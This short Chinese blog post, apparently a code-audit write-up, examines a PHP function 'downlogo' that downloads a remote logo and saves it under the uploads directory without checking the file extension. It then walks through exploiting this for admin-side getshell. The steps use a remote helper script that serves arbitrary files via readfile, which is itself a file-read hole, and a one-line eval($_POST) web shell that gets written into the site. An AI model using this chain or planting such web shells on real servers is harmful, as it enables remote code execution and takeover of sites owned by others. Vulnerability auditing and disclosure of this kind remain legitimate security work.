代码审计1

审计到比较有趣的一个点。

1.后台getshell

class Flink{

function downlogo($logourl){

$url = parse_url($logourl);

$logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));

$path = PROJECT_PATH."public/uploads/logos/";

if(!file_exists($path)){

mkdir($path);

}

$location = $path.$logoname;

$data = file_get_contents($logourl);

if(strlen($data) > 0){

file_put_contents($location,$data);

return $logoname;

}else{

return false;

首先对扩展名没有过滤,然后file_get_contents读取了网页内容,于是我们构造php。代码如下

当时我想到的是下载,我是构造了一个下载成功。

比如我们远程构造任意文件下载,也可读取到文件的内容。

例如。test3.php

<?php

$filename=$_GET['file'];

header("Content-Type: application/force-download");

header("Content-Disposition: attachment; filename=".basename($filename));

readfile($filename);

?>

 

test.php

<?php eval($_POST['a']);?>

http://127.0.0.1/test/test3.php?file=test.php即可

同样可以构造打印输出,file_get_contents同样可以获取内容

echo '<?php @eval($_POST['a']);?>';

即可在目录下生成一句话。

原文地址:https://www.cnblogs.com/whoami101/p/5136798.html